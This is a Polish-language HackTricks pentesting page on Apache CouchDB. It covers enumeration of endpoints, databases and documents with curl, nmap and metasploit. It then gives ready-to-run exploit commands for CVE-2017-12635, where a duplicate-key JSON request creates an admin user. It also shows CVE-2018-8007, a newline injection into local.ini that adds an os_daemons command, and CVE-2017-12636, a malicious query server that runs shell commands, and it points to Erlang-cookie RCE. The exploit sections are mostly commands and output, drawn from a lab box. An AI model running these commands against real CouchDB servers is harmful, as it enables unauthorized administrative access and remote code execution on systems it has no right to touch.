5984,6984 - Pentesting CouchDB

Support HackTricks

Podstawowe informacje

CouchDB to wszechstronna i potężna baza danych zorientowana na dokumenty, która organizuje dane za pomocą struktury mapy klucz-wartość w każdym dokumencie. Pola w dokumencie mogą być reprezentowane jako pary klucz/wartość, listy lub mapy, co zapewnia elastyczność w przechowywaniu i pobieraniu danych.

Każdemu dokumentowi przechowywanemu w CouchDB przypisywany jest unikalny identyfikator (_id) na poziomie dokumentu. Dodatkowo, każda modyfikacja dokonana i zapisana w bazie danych otrzymuje numer rewizji (_rev). Ten numer rewizji umożliwia efektywne śledzenie i zarządzanie zmianami, ułatwiając łatwe pobieranie i synchronizację danych w bazie danych.

Domyślny port: 5984(http), 6984(https)

PORT      STATE SERVICE REASON
5984/tcp  open  unknown syn-ack

Automatyczna enumeracja

nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum

Ręczna enumeracja

Baner

curl http://IP:5984/

To wysyła żądanie GET do zainstalowanej instancji CouchDB. Odpowiedź powinna wyglądać mniej więcej jak jedna z poniższych:

{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}

Zauważ, że jeśli uzyskując dostęp do głównego katalogu couchdb otrzymasz 401 Unauthorized z czymś takim jak: {"error":"unauthorized","reason":"Authentication required."} nie będziesz mógł uzyskać dostępu do banera ani żadnego innego punktu końcowego.

Info Enumeration

To są punkty końcowe, do których możesz uzyskać dostęp za pomocą żądania GET i wyodrębnić interesujące informacje. Możesz znaleźć więcej punktów końcowych i bardziej szczegółowe opisy w dokumentacji couchdb.

  • /_active_tasks Lista uruchomionych zadań, w tym typ zadania, nazwa, status i identyfikator procesu.

  • /_all_dbs Zwraca listę wszystkich baz danych w instancji CouchDB.

  • /_cluster_setup Zwraca status węzła lub klastra, zgodnie z kreatorem konfiguracji klastra.

  • /_db_updates Zwraca listę wszystkich zdarzeń bazy danych w instancji CouchDB. Istnienie bazy danych _global_changes jest wymagane do korzystania z tego punktu końcowego.

  • /_membership Wyświetla węzły, które są częścią klastra jako cluster_nodes. Pole all_nodes wyświetla wszystkie węzły, o których ten węzeł wie, w tym te, które są częścią klastra.

  • /_scheduler/jobs Lista zadań replikacji. Opis każdego zadania będzie zawierał informacje o źródle i celu, identyfikator replikacji, historię ostatnich zdarzeń i kilka innych rzeczy.

  • /_scheduler/docs Lista stanów dokumentów replikacji. Zawiera informacje o wszystkich dokumentach, nawet w stanach completed i failed. Dla każdego dokumentu zwraca identyfikator dokumentu, bazę danych, identyfikator replikacji, źródło i cel oraz inne informacje.

  • /_scheduler/docs/{replicator_db}

  • /_scheduler/docs/{replicator_db}/{docid}

  • /_node/{node-name} Punkt końcowy /_node/{node-name} może być użyty do potwierdzenia nazwy węzła Erlang serwera, który przetwarza żądanie. Jest to najbardziej przydatne podczas uzyskiwania dostępu do /_node/_local, aby uzyskać te informacje.

  • /_node/{node-name}/_stats Zasób _stats zwraca obiekt JSON zawierający statystyki dla działającego serwera. Literalny ciąg _local służy jako alias dla lokalnej nazwy węzła, więc dla wszystkich adresów URL statystyk, {node-name} może być zastąpione _local, aby interagować ze statystykami lokalnego węzła.

  • /_node/{node-name}/_system Zasób _system zwraca obiekt JSON zawierający różne statystyki na poziomie systemu dla działającego serwera_._ Możesz użyć ___local jako {node-name}, aby uzyskać informacje o bieżącym węźle.

  • /_node/{node-name}/_restart

  • /_up Potwierdza, że serwer jest uruchomiony, działa i jest gotowy do odpowiadania na żądania. Jeśli maintenance_mode jest true lub nolb, punkt końcowy zwróci odpowiedź 404.

  • /_uuids Żąda jednego lub więcej Uniwersalnych Unikalnych Identyfikatorów (UUID) z instancji CouchDB.

  • /_reshard Zwraca liczbę zakończonych, nieudanych, uruchomionych, zatrzymanych i całkowitych zadań wraz z stanem reshardingu w klastrze.

Więcej interesujących informacji można wyodrębnić, jak wyjaśniono tutaj: https://lzone.de/cheat-sheet/CouchDB

Database List

curl -X GET http://IP:5984/_all_dbs

Jeśli ta prośba zwraca 401 nieautoryzowany, potrzebujesz ważnych poświadczeń, aby uzyskać dostęp do bazy danych:

curl -X GET http://user:password@IP:5984/_all_dbs

Aby znaleźć ważne dane logowania, możesz spróbować przeprowadzić atak brute force na usługę.

To jest przykład odpowiedzi couchdb, gdy masz wystarczające uprawnienia do wyświetlenia baz danych (to tylko lista baz danych):

["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]

Database Info

Możesz uzyskać informacje o bazie danych (takie jak liczba plików i rozmiary) uzyskując dostęp do nazwy bazy danych:

curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}

Lista dokumentów

Wymień każdy wpis w bazie danych

curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}

Przeczytaj dokument

Przeczytaj zawartość dokumentu w bazie danych:

curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}

CouchDB Privilege Escalation CVE-2017-12635

Dzięki różnicom między parserami JSON w Erlangu i JavaScript możesz utworzyć użytkownika administratora z danymi uwierzytelniającymi hacktricks:hacktricks za pomocą następującego żądania:

curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"

Więcej informacji na temat tej luki tutaj.

CouchDB RCE

Przegląd bezpieczeństwa ciasteczek Erlang

Przykład stąd.

W dokumentacji CouchDB, szczególnie w sekcji dotyczącej konfiguracji klastra (link), omawiane jest użycie portów przez CouchDB w trybie klastra. Wspomniano, że, podobnie jak w trybie samodzielnym, port 5984 jest używany. Dodatkowo, port 5986 jest przeznaczony dla lokalnych API węzłów, a co ważne, Erlang wymaga portu TCP 4369 dla Daemon Port Mapper Erlang (EPMD), ułatwiającego komunikację między węzłami w klastrze Erlang. Ta konfiguracja tworzy sieć, w której każdy węzeł jest połączony z każdym innym węzłem.

Podkreślono istotne ostrzeżenie dotyczące portu 4369. Jeśli ten port jest udostępniony w Internecie lub w jakiejkolwiek niezaufanej sieci, bezpieczeństwo systemu w dużej mierze opiera się na unikalnym identyfikatorze znanym jako "ciasteczko." To ciasteczko działa jako zabezpieczenie. Na przykład, w danej liście procesów, ciasteczko o nazwie "monster" może być obserwowane, co wskazuje na jego rolę operacyjną w ramach systemu zabezpieczeń.

www-data@canape:/$ ps aux | grep couchdb
root        744  0.0  0.0   4240   640 ?        Ss   Sep13   0:00 runsv couchdb
root        811  0.0  0.0   4384   800 ?        S    Sep13   0:00 svlogd -tt /var/log/couchdb
homer       815  0.4  3.4 649348 34524 ?        Sl   Sep13   5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b

Dla tych, którzy są zainteresowani zrozumieniem, jak ten "ciasteczko" może być wykorzystane do zdalnego wykonania kodu (RCE) w kontekście systemów Erlang, dostępna jest dedykowana sekcja do dalszego czytania. Opisuje ona metodologie wykorzystywania ciasteczek Erlang w nieautoryzowany sposób w celu uzyskania kontroli nad systemami. Możesz zbadać szczegółowy przewodnik na temat nadużywania ciasteczek Erlang dla RCE tutaj.

Wykorzystanie CVE-2018-8007 poprzez modyfikację local.ini

Przykład stąd.

Ostatnio ujawniona luka, CVE-2018-8007, wpływająca na Apache CouchDB, została zbadana, ujawniając, że wykorzystanie jej wymaga uprawnień do zapisu w pliku local.ini. Chociaż nie jest to bezpośrednio stosowane do początkowego systemu docelowego z powodu ograniczeń bezpieczeństwa, wprowadzono modyfikacje, aby przyznać dostęp do zapisu w pliku local.ini w celach eksploracyjnych. Poniżej przedstawiono szczegółowe kroki i przykłady kodu, ilustrujące ten proces.

Najpierw środowisko jest przygotowywane poprzez upewnienie się, że plik local.ini jest zapisywalny, co jest weryfikowane poprzez wylistowanie uprawnień:

root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 homer homer 18477 Jan 20  2018 default.ini
-rw-rw-rw- 1 homer homer  4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root  root   4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer  1345 Jan 14  2018 vm.args

Aby wykorzystać lukę, wykonywana jest komenda curl, celując w konfigurację cors/origins w local.ini. To wstrzykuje nowy origin wraz z dodatkowymi komendami w sekcji [os_daemons], mając na celu wykonanie dowolnego kodu:

www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"

Następna weryfikacja pokazuje wstrzykniętą konfigurację w local.ini, porównując ją z kopią zapasową, aby uwydatnić zmiany:

root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
< [cors]
< origins = 0xdf
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf

Początkowo oczekiwany plik (/tmp/0xdf) nie istnieje, co wskazuje, że wstrzyknięte polecenie nie zostało jeszcze wykonane. Dalsze badania ujawniają, że działają procesy związane z CouchDB, w tym jeden, który potencjalnie mógłby wykonać wstrzyknięte polecenie:

root@canape:/home/homer/bin# ps aux | grep couch

Poprzez zakończenie zidentyfikowanego procesu CouchDB i pozwolenie systemowi na automatyczne jego ponowne uruchomienie, wywoływana jest egzekucja wstrzykniętej komendy, co potwierdza istnienie wcześniej brakującego pliku:

root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf

To badanie potwierdza wykonalność eksploatacji CVE-2018-8007 w określonych warunkach, szczególnie wymóg dostępu do zapisu do pliku local.ini. Podane przykłady kodu i kroki proceduralne oferują jasny przewodnik do powtórzenia eksploatu w kontrolowanym środowisku.

Aby uzyskać więcej informacji na temat CVE-2018-8007, zapoznaj się z komunikatem mdsec: CVE-2018-8007.

Badanie CVE-2017-12636 z uprawnieniami do zapisu na local.ini

Przykład stąd.

Zbadano lukę znaną jako CVE-2017-12636, która umożliwia wykonanie kodu za pośrednictwem procesu CouchDB, chociaż konkretne konfiguracje mogą uniemożliwić jej eksploatację. Pomimo licznych odniesień do Proof of Concept (POC) dostępnych w Internecie, konieczne są dostosowania, aby wykorzystać lukę w wersji CouchDB 2, różniącej się od powszechnie atakowanej wersji 1.x. Początkowe kroki obejmują weryfikację wersji CouchDB i potwierdzenie braku oczekiwanego ścieżki serwerów zapytań:

curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/

Aby dostosować się do wersji CouchDB 2.0, wykorzystuje się nową ścieżkę:

curl 'http://0xdf:df@localhost:5984/_membership'
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers

Próby dodania i wywołania nowego serwera zapytań spotkały się z błędami związanymi z uprawnieniami, co zostało wskazane przez następujący wynik:

curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'

Dalsze śledztwo ujawniło problemy z uprawnieniami do pliku local.ini, który nie był zapisywalny. Poprzez modyfikację uprawnień pliku z dostępem root lub homer, stało się możliwe kontynuowanie:

cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
chmod 666 /home/homer/etc/local.ini

Subsequent attempts to add the query server succeeded, as demonstrated by the lack of error messages in the response. The successful modification of the local.ini file was confirmed through file comparison:

curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'

Proces kontynuowany był od utworzenia bazy danych i dokumentu, a następnie próby wykonania kodu za pomocą niestandardowego widoku mapującego do nowo dodanego serwera zapytań:

curl -X PUT 'http://0xdf:df@localhost:5984/df'
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'

A podsumowanie z alternatywnym ładunkiem dostarcza dalszych informacji na temat wykorzystania CVE-2017-12636 w określonych warunkach. Przydatne zasoby do wykorzystania tej podatności obejmują:

Shodan

  • port:5984 couchdb

Odniesienia

Wsparcie dla HackTricks

Last updated